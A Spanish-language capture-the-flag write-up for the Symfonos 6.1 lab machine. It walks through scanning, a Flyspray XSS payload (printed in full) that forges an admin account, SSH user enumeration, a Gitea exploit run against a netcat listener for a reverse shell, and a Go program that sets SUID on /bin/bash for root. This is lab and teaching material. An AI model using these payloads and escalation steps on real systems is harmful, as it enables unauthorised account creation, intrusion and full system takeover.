Laboratorio Symfonos: 6.1
...

Nos dirigimos a SYMFONOS 6.1 descargamos el zip, lo descomprimos y obtenemos el ova, los pasos para instalar un ova de vulhub en VMWare lo puedes observar en un ejemplo planteado en Instalar Máquina Vulhub en VMWare.

Enumeración y Reconocimiento
...

arp-scan y ping
...

❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	4c:6e:6e:5f:8c:e2	Comnect Technology CO.,LTD
192.168.1.102	e4:aa:ea:ca:19:1d	Liteon Technology Corporation
192.168.1.104	00:0c:29:db:44:9f	VMware, Inc.
192.168.1.250	44:22:7c:c3:ee:22	(Unknown)
192.168.1.103	80:6d:71:b9:f2:af	(Unknown)

7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.201 seconds (116.31 hosts/sec). 5 responded

La IP correspondiente a la máquina vulnerable Symfonos: 6.1 es 192.168.1.104, por lo que vamos a trabajar en esa ip, y vamos a comprobar que tengamos comunicación.

ping -c 1 192.168.1.104
PING 192.168.1.104 (192.168.1.104) 56(84) bytes of data.
64 bytes from 192.168.1.104: icmp_seq=1 ttl=64 time=0.637 ms

--- 192.168.1.104 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.637/0.637/0.637/0.000 ms

nmap
...

Análizamos los puertos abiertos en esta máquina

❯ nmap -p- --open -sS -vvv --min-rate 1000 -n -Pn 192.168.1.104
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-01 06:42 CET
Initiating ARP Ping Scan at 06:42
Scanning 192.168.1.104 [1 port]
Completed ARP Ping Scan at 06:42, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 06:42
Scanning 192.168.1.104 [65535 ports]
Discovered open port 80/tcp on 192.168.1.104
Discovered open port 22/tcp on 192.168.1.104
Discovered open port 3306/tcp on 192.168.1.104
Discovered open port 5000/tcp on 192.168.1.104
Discovered open port 3000/tcp on 192.168.1.104
Completed SYN Stealth Scan at 06:42, 2.52s elapsed (65535 total ports)
Nmap scan report for 192.168.1.104
Host is up, received arp-response (0.00076s latency).
Scanned at 2023-12-01 06:42:11 CET for 3s
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 64
3306/tcp open  mysql   syn-ack ttl 64
5000/tcp open  upnp    syn-ack ttl 64
MAC Address: 00:0C:29:DB:44:9F (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vemos los siguientes puertos abiertos ahora vamos enviar un conjunto predeterminado de scripts con el parámetro -sC y también trataremos de averiguar las versiones de los servicios expuestos con el parámetro -sV.

❯ nmap -sCV -p22,80,3000,3306,5000 192.168.1.104
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-01 06:44 CET
Nmap scan report for 192.168.1.104
Host is up (0.0012s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 0ead33fc1a1e8554641339146809c170 (RSA)
|   256 54039b4855deb32b0a78904ab31ffacd (ECDSA)
|_  256 4e0ce63d5c0809f4114885a2e7fb8fb7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=5411cbf7b13d8fec; Path=/; HttpOnly
|     Set-Cookie: _csrf=Hdi6GYBIt-2eCIowqoKjVCJ4iH46MTcwMTM0NDM4NzEzMjUzNjk4NQ; Path=/; Expires=Fri, 01 Dec 2023 11:39:47 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 30 Nov 2023 11:39:47 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Symfonos6</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|     console.info('ServiceWorker registration successful with scope: ', registrat
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=74b030dff796c5fa; Path=/; HttpOnly
|     Set-Cookie: _csrf=Km6KAv8vE79avO1Woijf6Y7TbHk6MTcwMTM0NDM5MjU5ODQxMTE5NA; Path=/; Expires=Fri, 01 Dec 2023 11:39:52 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 30 Nov 2023 11:39:52 GMT
|     <!DOCTYPE html>
|     <html lang="en-US">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Symfonos6</title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <script>
|     ('serviceWorker' in navigator) {
|     navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_    console.info('ServiceWorker registration successful
3306/tcp open  mysql   MariaDB (unauthorized)
5000/tcp open  upnp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Thu, 30 Nov 2023 11:40:19 GMT
|     Content-Length: 18
|     page not found
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Thu, 30 Nov 2023 11:39:47 GMT
|     Content-Length: 18
|     page not found
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/plain
|     Date: Thu, 30 Nov 2023 11:40:03 GMT
|     Content-Length: 18
|_    page not found
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.32 seconds

Lo primero a notar es la version de SSH que es algo antigua por lo que puede ser vulnerable a user enumeration. Los demás puertos los iremos revisando a continuación.

TCP-Port 80: HTTP
...

Pasted image 20231201065111.png

Vemos que solo tenemos una imagen, vamos a proceder a enumerar los posibles directorios, con gobuster.

❯ gobuster dir -u http://192.168.1.104 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.104
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/posts                (Status: 301) [Size: 235] [--> http://192.168.1.104/posts/]
/flyspray             (Status: 301) [Size: 238] [--> http://192.168.1.104/flyspray/]
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished
===============================================================

Vemos que existen dos directorios:

/post

Pasted image 20231201065537.png

/flyspray

Pasted image 20231201070430.png

Vamos a averiguar la versión de flyspray haciendo un fuzzing de directorios.

Vemos que existe el directorio /docs por lo que nos vamos a dirigir ahí y observar que hay varios archivos vamos a leer cada uno para observar en donde puede haber una pista de la versión.

Pasted image 20231201071007.png

Por lo general sería en el CHANGELOG.txt pero vemos que no indica nada, al final observamos que es el archivo UPGRADING.txt donde podemos observar que la versión actual es 1.0

Pasted image 20231201071059.png

Conociendo la versión de flyspray procedemos ha buscar un exploit o vulnerabilidades de acuerdo a esa versión.

searchsploit flyspray 1.0

Pasted image 20231201071305.png

XSS/CSRF: flyspray
...

Existe un XSS que nos lleva a un XSRF, por lo que vamos a descargar el txt y procedemos a leerlo para saber como implementar esa vulnerabilidad.

searchsploit -m php/webapps/41918.txt

Le cambio el nombre para que sea más indicativo

mv 41918.txt flyspray_xss.txt

En resumen, indica que tendremos que registrarnos y logearnos para luego diriginos a /index.php?do=myprofile donde revisaremos que el campo Real Name es vulnerable a XSS y ahí vamos añadir que ejecute archivos js desde nuestra máquina de atacante, el archivo que llamaremos test.js tendrá que conteneder que vemos a continuación que está en el mismo txt. En adición viene un link a youtube para observar como explotar la vulnerabilidad.

var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();

Bueno ahora vamos a registranos en flyspray.

Pasted image 20231201072044.png

Pasted image 20231201072126.png

Estando registrados procedemos a logearnos.

Pasted image 20231201072256.png

Ahora nos dirigimos a /index.php?do=myprofile como lo indicaba el txt.

http://192.168.1.104/flyspray/index.php?do=myprofile

Y vamos a proceder hacer lo siguiente

Pasted image 20231201072523.png
Pasted image 20231201072614.png

Actualizamos nuestro Real Name y nos dirigimos a Tasklist

Pasted image 20231201072652.png

Procedemos a ingresar a la única tarea que existe.

Pasted image 20231201072752.png

Y ademas vemos una pista:

Pasted image 20231201072828.png

Vamos a crear un servidor http con python en el directorio donde tenemos test.js:

python3 -m http.server 80

Ahora esperaremos a que salga una petición y eso quiere decir que ya está creado el usuario cual es hacker:12345678.

Pasted image 20231201073127.png

Vemos que la máquina víctima hizo la petición ahora vamos a deslogearnos y vamos a logearnos con las credenciales hacker:12345678 y observaremos que tenemos acceso como admin.

Pasted image 20231201073307.png

Podemos observar que ahora existe un nuevo task, vamos a leerlo para saber que hay dentro.

Pasted image 20231201073413.png

Nos dan las credenciales y como indica self hosted git service, es una pista de que es del servicio que está en el puerto 3000 que es gitea.

TCP-Port 3000: Gitea
...

En el puerto 3000 vemos que está expuerto el servicio Gitea

Pasted image 20231201065747.png

Antes de proceder a logearnos como aquiles vamos a realizar un reconocimiento a la página, y lo unico que observamos es que existen dos usuarios achilles y zayotic. Ya conocimos que existe achilles pero tambien existe zayotic pero no se observa mucho más, por lo que podemos probar si son usuarios válidos para ssh.

Pasted image 20231201065837.png

User Enumeration: openSSH ver 7.4
...

Vamos a buscar el exploit para poder hacer enumeración de usuarios en SSH

searchsploit openSSH 7.4

Pasted image 20231201080610.png

Vamos a descargar el primero que se observa que es válido desde la versión 2.5 hasta la 7.7 por lo que entra facilmente la versión de la máquina víctima.

searchsploit -m linux/remote/45233.py

Vamos a cambiarle el nombre para que sea más indicativo.

mv 45233.py ssh_userenum.py

Vemos los parámetros que necesita.

❯ python2.7 ssh_userenum.py
Traceback (most recent call last):
  File "ssh_userenum.py", line 8, in <module>
    import paramiko
ImportError: No module named paramiko

Solución de error: "ImportError: No Module named paramiko"
...

Si te salta este error procedemos hacer lo siguiente.

  1. Procedemos a descargar pip2
https://bootstrap.pypa.io/pip/2.7/get-pip.py
  1. Ahora con python2.7 vamos a instalarlo.
❯ python2.7 get-pip.py
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting pip<21.0
  Downloading pip-20.3.4-py2.py3-none-any.whl (1.5 MB)
     |████████████████████████████████| 1.5 MB 5.3 MB/s 
Collecting setuptools<45
  Downloading setuptools-44.1.1-py2.py3-none-any.whl (583 kB)
     |████████████████████████████████| 583 kB 14.0 MB/s 
Collecting wheel
  Downloading wheel-0.37.1-py2.py3-none-any.whl (35 kB)
Installing collected packages: pip, setuptools, wheel
Successfully installed pip-20.3.4 setuptools-44.1.1 wheel-0.37.1
  1. Ahora vamos a instalar el módulo paramiko que falta para que ejecute bien el script.
❯ pip2 install paramiko
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting paramiko
  Downloading paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
     |████████████████████████████████| 213 kB 5.0 MB/s 
Collecting six
  Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting pynacl>=1.0.1
  Downloading PyNaCl-1.4.0-cp27-cp27mu-manylinux1_x86_64.whl (964 kB)
     |████████████████████████████████| 964 kB 10.7 MB/s 
Collecting bcrypt>=3.1.3
  Downloading bcrypt-3.1.7-cp27-cp27mu-manylinux1_x86_64.whl (59 kB)
     |████████████████████████████████| 59 kB 5.5 MB/s 
Collecting cryptography>=2.5
  Downloading cryptography-3.3.2-cp27-cp27mu-manylinux2010_x86_64.whl (2.6 MB)
     |████████████████████████████████| 2.6 MB 12.0 MB/s 
Collecting cffi>=1.4.1
  Downloading cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl (390 kB)
     |████████████████████████████████| 390 kB 12.4 MB/s 
Collecting ipaddress; python_version < "3"
  Downloading ipaddress-1.0.23-py2.py3-none-any.whl (18 kB)
Collecting enum34; python_version < "3"
  Downloading enum34-1.1.10-py2-none-any.whl (11 kB)
Collecting pycparser
  Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB)
     |████████████████████████████████| 118 kB 12.7 MB/s 
Installing collected packages: six, pycparser, cffi, pynacl, bcrypt, ipaddress, enum34, cryptography, paramiko
Successfully installed bcrypt-3.1.7 cffi-1.15.1 cryptography-3.3.2 enum34-1.1.10 ipaddress-1.0.23 paramiko-2.12.0 pycparser-2.21 pynacl-1.4.0 six-1.16.0

Volvemos a ejecutar el script de enumeración de usuarios de ssh.

Pasted image 20231201081328.png

Validación de usuarios
...

Ya funciona, ahora vamos a poner el target y el username

❯ python2.7 ssh_userenum.py 192.168.1.104 achilles 2>/dev/null
[+] achilles is a valid username

Vemos que efecticamente achilles tambien es un usuario válido para ssh, ya probe las credenciales que vimos en flyspray y no funciona habra que ver otra manera quizas cuando entremos de forma local.

❯ python2.7 ssh_userenum.py 192.168.1.104 zayotic 2>/dev/null
[-] zayotic is an invalid username

Zayotic no es válido para ssh por lo que procedemos a ignorarlo.

RCE Gitea: Shell as a git
...

Procedemos a logearnos como el usuario achilles cual observamos anteriormente sus credenciales.

Pasted image 20231201080106.png

Pasted image 20231201082009.png

Ahora vamos a revisar la versión de Gitea que existe.

Pasted image 20231201082048.png

Buscamos si existe un exploit para Gitea

Pasted image 20231201082327.png

Vamos a probar este exploit, porque como tenemos las credenciales probablemente podremos ejecutar comandos.

searchsploit -m multiple/webapps/49571.py

Vamos a cambiar el nombre para que sea más indicativo.

mv 49571.py gitea_rce.py

Ejecutamos el script para saber que parámetros requiere.

Pasted image 20231201082855.png

Nos ponemos en escucha por le puerto 443 en nuestra máquina de atacante.

nc -nvlp 443

Y ejecutamos el exploit:

 python3 gitea_rce.py -t 'http://192.168.1.104:3000/' -u 'achilles' -p 'h2sBr9gryBunKdF9' -I 192.168.1.104 -P 443

Pasted image 20231201084938.png

Hacemos limpieza de la tty y procedemos a saltar al usuario achilles

Shell as achilles
...

Vamos a saltar de usuario ya que conocemos las credenciales.

cd /home
su achilles

Pasted image 20231201085352.png

Escalada de privilegios: Shell as Root
...

Vamos a revisar que podemos ejecutar con sudo:

Pasted image 20231201085531.png

Vemos que podemos ejecutar go por lo que vamos a crear un script en go que nos permita ejecutar comandos en el sistema. Si no sabemos sintaxis en go podemos aprovechar chatgpt.

Pasted image 20231201085714.png

El Prompt que utilice y me brindó el siguiente código:

package main

import (
	"fmt"
	"os/exec"
)

func main() {
	// Comando a ejecutar
	cmd := "ls"
	// Argumentos del comando (si es necesario)
	args := []string{"-l", "-a"}

	// Crear una instancia de exec.Cmd
	command := exec.Command(cmd, args...)

	// Capturar la salida estándar y los errores
	output, err := command.CombinedOutput()
	if err != nil {
		fmt.Println("Error al ejecutar el comando:", err)
		return
	}

	// Imprimir la salida del comando
	fmt.Println(string(output))
}

Ahora modificamos el comando para que ejecutemos un asignación de permisos SUID la /bin/bash

package main

import (
	"fmt"
	"os/exec"
)

func main() {
	// Comando a ejecutar
	cmd := "chmod"
	// Argumentos del comando (si es necesario)
	args := []string{"u+s", "/bin/bash"}

	// Crear una instancia de exec.Cmd
	command := exec.Command(cmd, args...)

	// Capturar la salida estándar y los errores
	output, err := command.CombinedOutput()
	if err != nil {
		fmt.Println("Error al ejecutar el comando:", err)
		return
	}

	// Imprimir la salida del comando
	fmt.Println(string(output))
}

Ya tenemos el código vamos a crear un archivo con nano en la shell as achilles, que llamaremos priviesc.go.

nano priviesc.go

Pegamos el código anteriormente expuesto para ejecutar el cambio de permisos SUID, lo guardamos y ahora lo ejecutamos.

sudo /usr/local/go/bin/go run priviesc.go 

Pasted image 20231201090242.png

Ejecutamos una bash con privilegios.

Pasted image 20231201090323.png

Pasted image 20231201090428.png}